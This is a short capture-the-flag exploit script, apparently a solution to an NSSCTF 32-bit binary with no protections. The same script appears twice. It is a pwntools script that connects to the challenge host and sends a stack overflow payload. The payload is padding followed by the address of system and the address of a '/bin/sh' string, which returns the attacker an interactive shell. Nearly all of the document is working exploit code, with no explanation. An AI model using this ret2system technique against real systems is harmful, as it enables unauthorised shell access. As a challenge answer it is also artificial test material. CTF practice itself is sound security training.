无保护32位
from pwn import * io = remote('node5.anna.nssctf.cn',26770) bin_addr =0x804C024 sys_addr =0x80491E7 payload =b'A'*(0x1c +4) +p32(sys_addr) +p32(bin_addr) io.sendline(payload) io.interactive()
无保护32位
from pwn import * io = remote('node5.anna.nssctf.cn',26770) bin_addr =0x804C024 sys_addr =0x80491E7 payload =b'A'*(0x1c +4) +p32(sys_addr) +p32(bin_addr) io.sendline(payload) io.interactive()